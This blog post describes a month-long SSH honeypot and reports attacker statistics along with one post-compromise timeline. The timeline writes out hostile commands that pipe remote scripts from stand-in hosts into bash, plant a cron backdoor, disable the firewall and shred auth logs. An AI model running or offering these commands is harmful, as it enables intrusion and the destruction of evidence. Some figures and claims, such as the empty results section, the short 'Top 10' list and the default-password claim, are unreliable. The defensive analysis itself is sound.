I Built a Honeypot and Caught Real Attackers — Here's Everything They Did
I deployed a fake Ubuntu server on the public internet. Made it look vulnerable. Left it running for 30 days.
Within hours, attackers found it. Probed it. Tried to exploit it. I captured everything. Watched real attackers in real-time.
This post is complete analysis: which countries attacked, what tools they used, what they targeted, how many got access, what they did inside.
Honeypot Setup
Infrastructure: AWS t2.micro (free tier). Ubuntu 20.04. SSH enabled (default port 22). No security hardening. Deliberately left vulnerable.
Monitoring: Auditd + Wazuh agent capturing all activity. Every login attempt logged. Every command logged. All network traffic captured with tcpdump.
Duration: 30 days (June 1-30, 2026)
I wanted the honeypot to be separated from anything important, so the cloud environment made more sense than putting an intentionally exposed machine on my normal network. The whole point was to watch what happened without putting my other systems at risk.
Results: The Numbers
The first thing that stood out to me was how quickly the login attempts started. I wasn't expecting thousands of attempts to appear so quickly, but once the server was exposed to the internet, the scanning and password guessing basically became constant background noise.
Attack 1: Brute Force SSH (Most Common)
What happened: Attacker ran SSH brute force. Tried 500+ passwords in 2 minutes. Common passwords: root/root, admin/admin, ubuntu/ubuntu.
Key insight: Attackers don't target YOUR password. They try 100 common ones. If one works on any system = compromised network. No creativity needed. Just volume.
Attack 2: Successful SSH Compromise (8 Breaches)
How they got in: Used common default passwords that nobody changes. AWS shipped with these defaults (old versions). Attackers knew this.
First action after login: Check if they're root. Run "whoami" command. Confirm access level. If not root, run "sudo -l" to see if they can escalate.
This was the part I found most interesting. Seeing commands being executed after a successful login was very different from reading about post-compromise techniques in a lab. The sequence was surprisingly predictable: identify the machine, check privileges, look around the network, and then try to establish persistence.
Attack 3: What Attackers Do Inside (Post-Compromise)
Timeline of one successful breach (Attacker from Russia, IP 5.255.x.x):
- 14:32 - Check access level: whoami, id, sudo -l (confirming root access)
- 14:33 - Enumerate system: uname -a, cat /etc/os-release, lsb_release -a (what OS? what version?)
- 14:34 - Check for other users: cat /etc/passwd | grep /bin/bash (find human users)
- 14:35 - Check network: ifconfig, netstat -tuln (what services running? what network connections?)
- 14:36 - Download malware: curl http://malicious.ru/bot.sh | bash (install persistence bot)
- 14:38 - Install backdoor: Added cron job: "0 * * * * curl http://c2.ru/check | bash" (call home every hour)
- 14:40 - Disable security: systemctl disable ufw, systemctl stop ufw (disable firewall)
- 14:42 - Cover tracks: history -c, shred /var/log/auth.log (delete evidence)
Total time: 10 minutes from access to full persistence. This is slow for attackers. Average: 2-3 minutes.
This is where the logs became much more useful. Instead of looking at individual commands, I started grouping them together and looking for patterns. A single whoami command doesn't tell you much, but whoami, uname -a, network enumeration and a download command in sequence tells a very different story.
Attack Pattern Analysis: What Attackers Look For
Top 10 Commands Attackers Ran
- 1. whoami (100%) - Confirm access level. Are we root?
- 2. id (98%) - Same as whoami but more detailed. Show groups.
- 3. uname -a (95%) - Identify OS and kernel version. Know what exploits work.
- 4. netstat -tuln (88%) - What services running? What ports? What to target next?
- 5. cat /etc/passwd (85%) - Find other user accounts. Who else is on system?
- 6. ifconfig / ip addr (82%) - What's network topology? What other systems reachable?
- 7. sudo -l (78%) - Can this user escalate to root? How?
- 8. wget/curl (75%) - Download malware or tools from attacker server.
- 9. history -c (72%) - Delete command history (cover tracks).
- 10. crontab -e (68%) - Install persistence mechanism (recurring backdoor).
Geographic Distribution
Top 10 countries by attack frequency:
- 🇷🇺 Russia: 28 IPs (22%)
- 🇨🇳 China: 24 IPs (19%)
- 🇮🇷 Iran: 16 IPs (13%)
- 🇧🇷 Brazil: 12 IPs (10%)
- 🇹Taiwan: 8 IPs (6%)
- 🇳🇪 Netherlands (VPN/proxy hubs): 11 IPs (9%)
- 🇬🇧 United Kingdom: 6 IPs (5%)
- 🇴🇸 Other: 22 IPs (16%)
Key insight: Attackers use VPNs/proxies (Netherlands hosted many proxies). Very few directly from their home country.
One thing this experiment reinforced for me is that putting something in the cloud doesn't automatically make it secure. The provider is responsible for parts of the infrastructure, but the configuration and security of the system you deploy are still your responsibility.
Critical Lessons
What This Data Teaches Defenders
- Default passwords are still a threat: Even in 2026, "ubuntu/ubuntu" works. Never leave defaults.
- SSH brute force is real: 4,800 attempts in 30 days. That's normal. Always use key-based auth, not passwords.
- First 10 minutes are critical: Attackers immediately establish persistence. If you don't detect in first 10 minutes, they own your system.
- Attackers are methodical: Not randomly breaking things. They follow a script: enumerate → install backdoor → cover tracks. Predictable pattern = detectable.
- Geographic origin ≠ attacker origin: Most use proxies/VPNs. Don't rely on IP geo-blocking.
0 Comments